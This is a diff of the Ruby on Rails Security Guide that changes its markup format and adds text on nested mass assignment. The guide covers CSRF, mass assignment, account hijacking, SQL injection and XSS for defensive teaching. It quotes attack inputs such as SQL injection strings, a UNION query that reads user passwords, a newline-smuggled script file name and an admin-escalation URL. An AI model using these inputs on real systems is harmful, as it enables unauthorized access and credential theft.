-Refer to the Injection section for countermeasures against XSS. It is [,#fffcdb]#recommended to use the SafeErb plugin# also in an Intranet or administration interface.
+Refer to the Injection section for countermeasures against XSS. It is _(highlight)recommended to use the SafeErb plugin_ also in an Intranet or administration interface.
-*CSRF* Cross-Site Reference Forgery (CSRF) is a giant attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
+*CSRF* Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
-A real-world example is a http://www.symantec.com/enterprise/security_response/weblog/2008/01/driveby_pharming_in_the_
wild.html[router reconfiguration by CSRF]. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
+A real-world example is a "router reconfiguration by CSRF":http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
-Another example changed Google Adsense's e-mail address and password by http://www.0x000000.com/index.php?i=213&bin=11010101[CSRF]. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.

+Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.

Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
-For [,#fffcdb]#countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section#.
+For _(highlight)countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_.
-=== Additional precautions
+h4. Additional Precautions
The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:
-- It is very important to [,#fffcdb]#think about the worst case#: What if someone really got hold of my cookie or user credentials. You could [,#fffcdb]#introduce roles# for the admin interface to limit the possibilities of the attacker. Or how about [,#fffcdb]#special login credentials# for the admin interface, other than the ones used for the public part of the application. Or a [,#fffcdb]#special password for very serious actions#?
+* It is very important to _(highlight)think about the worst case_: What if someone really got hold of my cookie or user credentials. You could _(highlight)introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _(highlight)special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _(highlight)special password for very serious actions_?
-- Does the admin really have to access the interface from everywhere in the world? Think about [,#fffcdb]#limiting the login to a bunch of source IP addresses#. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
+* Does the admin really have to access the interface from everywhere in the world? Think about _(highlight)limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
-- [,#fffcdb]#Put the admin interface to a special sub-domain# such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
+* _(highlight)Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
-== Mass assignment
+h3. Mass Assignment
-- _Without any precautions Model.new(params[:model]) allows attackers to set any database column's value._
-The mass-assignment feature may become a problem, as it allows an attacker to set any model's attribute by manipulating the hash passed to a model's new() method:
+The mass-assignment feature may become a problem, as it allows an attacker to set any model's attributes by manipulating the hash passed to a model's +new()+ method:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
def signup
params[:user] #=> {:name => “ow3ned”, :admin => true}
@user = User.new(params[:user])
end
-----------------------------------------------------------------------------
+</ruby>
Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:
-..........
-http://www.example.com/user/signup?user[name]=ow3ned&user[admin]=1
-..........
+<pre>
+"name":http://www.example.com/user/signup?user=ow3ned&user[admin]=1
+</pre>
This will set the following parameters in the controller:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
params[:user] #=> {:name => “ow3ned”, :admin => true}
-----------------------------------------------------------------------------
+</ruby>
So if you create a new user using mass-assignment, it may be too easy to become an administrator.
-=== Countermeasures
+Note that this vulnerability is not restricted to database columns. Any setter method, unless explicitly protected, is accessible via the <tt>attributes=</tt> method. In fact, this vulnerability is extended even further with the introduction of nested mass assignment (and nested object forms) in rails 2.3. The +accepts_nested_attributes_for+ declaration provides us the ability to extend mass assignment to model associations (+has_many+, +has_one+, +has_and_belongs_to_many+). For example:
-To avoid this, Rails provides two class methods in your ActiveRecord class to control access to your attributes. The attr_protected method takes a list of attributes that will not be accessible for mass-assignment. For example:
+<ruby>
+ class Person < ActiveRecord::Base
+ has_many :credits
+
+ accepts_nested_attributes_for :children
+ end
-[source, ruby]
-----------------------------------------------------------------------------
+ class Child < ActiveRecord::Base
+ belongs_to :person
+ end
+</ruby>
+
+As a result, the vulnerability is extended beyond simply exposing column assignment, allowing attackers the ability to create entirely new records in referenced tables (children in this case).
+
+h4. Countermeasures
+
+To avoid this, Rails provides two class methods in your Active Record class to control access to your attributes. The +attr_protected+ method takes a list of attributes that will not be accessible for mass-assignment. For example:
+
+<ruby>
attr_protected :admin
-----------------------------------------------------------------------------
+</ruby>
-A much better way, because it follows the whitelist-principle, is the [,#fffcdb]#attr_accessible method#. It is the exact opposite of attr_protected, because [,#fffcdb]#it takes a list of attributes that will be accessible#. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:
+A much better way, because it follows the whitelist-principle, is the +attr_accessible+ method. It is the exact opposite of +attr_protected+, because _(highlight)it takes a list of attributes that will be accessible_. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
attr_accessible :name
-----------------------------------------------------------------------------
+</ruby>
If you want to set a protected attribute, you will to have to assign it individually:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
params[:user] #=> {:name => "ow3ned", :admin => true}
@user = User.new(params[:user])
@user.admin #=> false # not mass-assigned
@user.admin = true
@user.admin #=> true
-----------------------------------------------------------------------------
+</ruby>
+
+A more paranoid technique to protect your whole project would be to enforce that all models whitelist their accessible attributes. This can be easily achieved with a very simple initializer:
-== User management
+<ruby>
+ActiveRecord::Base.send(:attr_accessible, nil)
+</ruby>
+
+This will create an empty whitelist of attributes available for mass assignment for all models in your app. As such, your models will need to explicitly whitelist accessible parameters by using an +attr_accessible+ declaration. This technique is best applied at the start of a new project. However, for an existing project with a thorough set of functional tests, it should be straightforward and relatively quick to insert this initializer, run your tests, and expose each attribute (via +attr_accessible+) as dictated by your failing tests.
+
+h3. User Management
-- _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._
-There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is [,#fffcdb]#restful_authentication# which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.
+There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is +restful_authentication+ which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.
Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
-..........
+<plain>
http://localhost:3006/user/activate
http://localhost:3006/user/activate?id=
-..........
+</plain>
This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
User.find_by_activation_code(params[:id])
-----------------------------------------------------------------------------
+</ruby>
If the parameter was nil, the resulting SQL query will be
-..........
-SELECT * FROM users WHERE (users.`activation_code` IS NULL) LIMIT 1
-..........
+<sql>
+SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
+</sql>
-And thus it found the first user in the database, returned it and logged him in. You can find out more about it in http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/[my blog post]. [,#fffcdb]#It is advisable to update your plug-ins from time to time#. Moreover, you can review your application to find more flaws like this.
+And thus it found the first user in the database, returned it and logged him in. You can find out more about it in "my blog post":http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/. _(highlight)It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
-=== Brute-forcing accounts
+h4. Brute-Forcing Accounts
-- _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._
@@ -465,29 +477,29 @@ Because of this, most web applications will display a generic error message “u
However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.
-In order to mitigate such attacks, [,#fffcdb]#display a generic error message on forgot-password pages, too#. Moreover, you can [,#fffcdb]#require to enter a CAPTCHA after a number of failed logins from a certain IP address#. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
+In order to mitigate such attacks, _(highlight)display a generic error message on forgot-password pages, too_. Moreover, you can _(highlight)require to enter a CAPTCHA after a number of failed logins from a certain IP address_. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
-=== Account hijacking
+h4. Account Hijacking
-- _Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?_
-==== Passwords
+h5. Passwords
-Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, [,#fffcdb]#make change-password forms safe against CSRF#, of course. And [,#fffcdb]#require the user to enter the old password when changing it#.
+Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _(highlight)make change-password forms safe against CSRF_, of course. And _(highlight)require the user to enter the old password when changing it_.
-==== E-Mail
+h5. E-Mail
-However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure [,#fffcdb]#require the user to enter the password when changing the e-mail address, too#.
+However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _(highlight)require the user to enter the password when changing the e-mail address, too_.
-==== Other
+h5. Other
-Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/[Google Mail]. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, [,#fffcdb]#review your application logic and eliminate all XSS and CSRF vulnerabilities#.
+Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in "Google Mail":http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _(highlight)review your application logic and eliminate all XSS and CSRF vulnerabilities_.
-=== CAPTCHAs
+h4. CAPTCHAs
-- _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not to ask a user to proof that he is human, but reveal that a robot is a robot._
-But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is http://recaptcha.net/[reCAPTCHA] which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. http://ambethia.com/recaptcha/[ReCAPTCHA] is also a Rails plug-in with the same name as the API.
+But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is "reCAPTCHA":http://recaptcha.net/ which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. "ReCAPTCHA":http://ambethia.com/recaptcha/ is also a Rails plug-in with the same name as the API.
You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.
@@ -496,458 +508,449 @@ Most bots are really dumb, they crawl the web and put their spam into every form
Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:
-- position the fields off of the visible area of the page
-- make the elements very small or colour them the same as the background of the page
-- leave the fields displayed, but tell humans to leave them blank
+* position the fields off of the visible area of the page
+* make the elements very small or colour them the same as the background of the page
+* leave the fields displayed, but tell humans to leave them blank
The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.
-You can find more sophisticated negative CAPTCHAs in Ned Batchelder's http://nedbatchelder.com/text/stopbots.html[blog post]:
+You can find more sophisticated negative CAPTCHAs in Ned Batchelder's "blog post":http://nedbatchelder.com/text/stopbots.html:
-- Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
-- Randomize the field names
-- Include more than one honeypot field of all types, including submission buttons
+* Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
+* Randomize the field names
+* Include more than one honeypot field of all types, including submission buttons
-Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So negative CAPTCHAs might not be good to protect login forms.
+Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So _(highlight)negative CAPTCHAs might not be good to protect login forms_.
-=== Logging
+h4. Logging
-- _Tell Rails not to put passwords in the log files._
-By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers etcetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can [,#fffcdb]#filter certain request parameters from your log files# by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log.
+By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can _(highlight)filter certain request parameters from your log files_ by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log.
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
filter_parameter_logging :password
-----------------------------------------------------------------------------
+</ruby>
-=== Good passwords
+h4. Good Passwords
-- _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._
-Bruce Schneier, a security technologist, http://www.schneier.com/blog/archives/2006/12/realworld_passw.html[has analysed] 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
+Bruce Schneier, a security technologist, "has analysed":http://www.schneier.com/blog/archives/2006/12/realworld_passw.html 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
-password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1 and monkey.
+password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.
It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.
-A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the [,#fffcdb]#first letters of a sentence that you can easily remember#. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
+A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the _(highlight)first letters of a sentence that you can easily remember_. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
-=== Regular expressions
+h4. Regular Expressions
-- _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._
Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
class File < ActiveRecord::Base
validates_format_of :name, :with => /^[\w\.\-\+]+$/
end
-----------------------------------------------------------------------------
+</ruby>
-This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added \^ and $ so that file name will contain these characters from the beginning to the end of the string. However, [,#fffcdb]#in Ruby ^ and $ matches the *line* beginning and line end#. And thus a file name like this passes the filter without problems:
+This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added \^ and $ so that file name will contain these characters from the beginning to the end of the string. However, _(highlight)in Ruby ^ and $ matches the *line* beginning and line end_. And thus a file name like this passes the filter without problems:
-..........
+<plain>
file.txt%0A<script>alert('hello')</script>
-..........
+</plain>
-Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert('hello')</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:
+Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n&lt;script&gt;alert('hello')&lt;/script&gt;". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
/\A[\w\.\-\+]+\z/
-[source, ruby]
-----------------------------------------------------------------------------
+</ruby>
-=== Privilege escalation
+h4. Privilege Escalation
-- _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._
-The most common parameter that a user might tamper with, is the id parameter, as in +http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params[:id] in the controller. There, you will most likely do something like this:
+The most common parameter that a user might tamper with, is the id parameter, as in +":id":http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
@project = Project.find(params[:id])
-----------------------------------------------------------------------------
+</ruby>
-This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, [,#fffcdb]#query the user's access rights, too#:
+This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _(highlight)query the user's access rights, too_:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
@project = @current_user.projects.find(params[:id])
-----------------------------------------------------------------------------
+</ruby>
-Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, [,#fffcdb]#no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated#.
+Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _(highlight)no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_.
-Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. [,#fffcdb]#JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values#. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.
+Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _(highlight)JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.
-== Injection
+h3. Injection
-- _Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection._
Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.
-=== Whitelists versus Blacklists
+h4. Whitelists versus Blacklists
-- _When sanitizing, protecting or verifying something, whitelists over blacklists._
-A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), [,#fffcdb]#prefer to use whitelist approaches#:
+A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _(highlight)prefer to use whitelist approaches_:
-- Use before_filter :only => [...] instead of :except => [...]. This way you don't forget to turn it off for newly added actions.
-- Use attr_accessible instead of attr_protected. See the mass-assignment section for details
-- Allow <strong> instead of removing <script> against Cross-Site Scripting (XSS). See below for details.
-- Don't try to correct user input by blacklists:
- * This will make the attack work: "<sc<script>ript>".gsub("<script>", "")
- * But reject malformed input
+* Use before_filter :only => [...] instead of :except => [...]. This way you don't forget to turn it off for newly added actions.
+* Use attr_accessible instead of attr_protected. See the mass-assignment section for details
+* Allow &lt;strong&gt; instead of removing &lt;script&gt; against Cross-Site Scripting (XSS). See below for details.
+* Don't try to correct user input by blacklists:
+** This will make the attack work: "&lt;sc&lt;script&gt;ript&gt;".gsub("&lt;script&gt;", "")
+** But reject malformed input
Whitelists are also a good approach against the human factor of forgetting something in the blacklist.
-=== SQL Injection
+h4. SQL Injection
-- _Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem._
-==== Introduction
+h5. Introduction
SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
Project.find(:all, :conditions => "name = '#{params[:name]}'")
-----------------------------------------------------------------------------
+</ruby>
This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1=1', the resulting SQL query will be:
-..........
+<sql>
SELECT * FROM projects WHERE name = '' OR 1 --'
-..........
+</sql>
The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.
-==== Bypassing authorization
+h5. Bypassing Authorization
Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password]}'")
-----------------------------------------------------------------------------
+</ruby>
If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:
-.........
-SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
-.........
+<sql>
+SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'&gt;'1' LIMIT 1
+</sql>
This will simply find the first record in the database, and grants access to this user.
-==== Unauthorized reading
+h5. Unauthorized Reading
The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
Project.find(:all, :conditions => "name = '#{params[:name]}'")
-----------------------------------------------------------------------------
+</ruby>
And now let's inject another query using the UNION statement:
-............
+<plain>
') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
-............
+</plain>
This will result in the following SQL query:
-............
-SELECT * FROM projects WHERE (name = '') UNION
+<sql>
+SELECT * FROM projects WHERE (name = '') UNION
SELECT id,login AS name,password AS description,1,1,1 FROM users --')
-............
+</sql>
The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.
-Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/[to at least 2.1.1].
+Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails "to at least 2.1.1":http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/.
-==== Countermeasures
+h5. Countermeasures
-Ruby on Rails has a built in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. [,#fffcdb]#Using Model.find(id) or Model.find_by_some thing(something) automatically applies this countermeasure[,#fffcdb]#. But in SQL fragments, especially [,#fffcdb]#in conditions fragments (:conditions => "..."), the connection.execute() or Model.find_by_sql() methods, it has to be applied manually#.
+Ruby on Rails has a built in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using +Model.find(id)+ or +Model.find_by_some thing(something)+ automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (+:conditions => "..."+), the +connection.execute()+ or +Model.find_by_sql()+ methods, it has to be applied manually</em>.
Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
Model.find(:first, :conditions => ["login = ? AND password = ?", entered_user_name, entered_password])
-----------------------------------------------------------------------------
+</ruby>
As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
Model.find(:first, :conditions => {:login => entered_user_name, :password => entered_password})
-----------------------------------------------------------------------------
+</ruby>
-The array or hash form is only available in model instances. You can try +sanitize_sql()+ elsewhere. [,#fffcdb]#Make it a habit to think about the security consequences when using an external string in SQL#.
+The array or hash form is only available in model instances. You can try +sanitize_sql()+ elsewhere. _(highlight)Make it a habit to think about the security consequences when using an external string in SQL_.
-=== Cross-Site Scripting (XSS)
+h4. Cross-Site Scripting (XSS)
-- _The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off._
-==== Entry points
+h5. Entry Points
An entry point is a vulnerable URL and its parameters where an attacker can start an attack.
-The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the http://livehttpheaders.mozdev.org/[Live HTTP Headers Firefox plugin], or client-site proxies make it easy to change requests.
+The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the "Live HTTP Headers Firefox plugin":http://livehttpheaders.mozdev.org/, or client-site proxies make it easy to change requests.
-XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session; redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.
